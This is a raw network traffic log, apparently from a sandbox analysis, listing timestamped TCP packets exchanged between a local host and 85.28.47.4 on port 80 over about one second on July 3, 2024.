Jul 3, 2024 23:58:57.906389952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906404018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906658888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906707048 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906716108 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906732082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906759977 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906770945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.906965017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.906980991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907011986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907022953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907522917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907547951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907562017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907572031 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907586098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907603979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907913923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907928944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.907959938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.907977104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.908449888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.908493042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.908510923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.908528090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.908556938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.908567905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.976947069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.976984024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977016926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977032900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977051973 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977088928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977235079 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977267981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977289915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977302074 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977313995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977338076 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.977349043 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.977385044 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988728046 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988761902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988786936 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988792896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988815069 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988848925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988878965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988884926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988889933 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988920927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.988935947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.988965034 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989132881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989182949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989183903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989227057 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989274025 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989325047 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989341974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989375114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989394903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989408970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989417076 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989455938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.989459991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.989509106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:57.999936104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.999952078 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.999969006 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:57.999999046 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000004053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000019073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000026941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000066042 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000080109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000226021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000269890 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000273943 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000284910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000309944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000322104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000602961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000648975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000652075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000664949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000693083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000705004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000752926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000767946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000782967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.000794888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.000821114 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.001519918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001564026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.001564980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001580954 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001611948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.001621962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.001662970 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001677990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001692057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.001710892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.001734972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.002480030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002505064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002520084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002530098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.002553940 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.002569914 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.002639055 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002652884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002667904 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.002686024 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.002710104 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.003494024 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.003544092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.003576040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.003592014 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.003622055 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.003633022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.003633976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.003658056 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.003674030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.003695011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.059365034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.059418917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.059442997 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.059453011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.059453011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.059487104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.059501886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.059524059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.059535027 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.059572935 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.070911884 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.070945978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.070967913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.070981026 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.070998907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071014881 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.071026087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071050882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.071057081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071080923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.071110010 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071115971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.071130037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071156979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.071161032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.071201086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082674980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082727909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082753897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082761049 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082772017 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082793951 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082803011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082828045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082837105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082861900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082879066 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082896948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082904100 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082946062 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.082963943 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.082997084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083013058 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083031893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083040953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083085060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083220959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083273888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083285093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083318949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083337069 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083352089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083403111 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083436966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083450079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083482981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083787918 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083837986 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083849907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083873034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083885908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083909035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083923101 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083945990 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.083962917 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.083997965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.093882084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.093894958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.093908072 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.093930960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.093940020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.093945980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.093971968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.093993902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094085932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094099998 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094194889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094254971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094269991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094271898 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094293118 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094321012 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094340086 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094356060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094383001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094393969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094639063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094686985 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094692945 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094707966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094731092 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094748020 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094820023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094835043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094850063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094863892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094866037 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094873905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094892025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094907045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.094964981 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094980955 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.094995022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095010996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095024109 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095041990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095591068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095642090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095650911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095666885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095695019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095705986 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095746040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095767021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095782042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095793962 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095798969 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095817089 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095834970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095890045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095905066 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.095932007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.095954895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096395016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096437931 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096441984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096458912 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096484900 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096491098 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096564054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096579075 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096594095 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096606016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096618891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096622944 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096632004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096659899 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096694946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096709967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096724033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.096733093 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096746922 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.096765995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097330093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097368002 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097383022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097383976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097408056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097418070 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097501040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097516060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097531080 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097544909 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097548008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097570896 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097594023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097661018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097676039 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097691059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.097702026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097713947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.097732067 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098295927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098324060 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098336935 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098347902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098357916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098376989 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098464012 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098479033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098494053 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098509073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098510981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098536015 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098552942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098627090 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098640919 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098656893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.098674059 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.098695993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.099278927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.099328041 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.099370003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.099416971 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153376102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153465033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153618097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153649092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153688908 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153697968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153697968 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153733015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153742075 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153768063 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153776884 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153803110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153806925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153846025 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153853893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153889894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153898954 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153923035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153932095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153959036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153961897 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:58:58.153987885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:58:58.153996944 CEST	49730	80	192.168.2.4	85.28.47.4
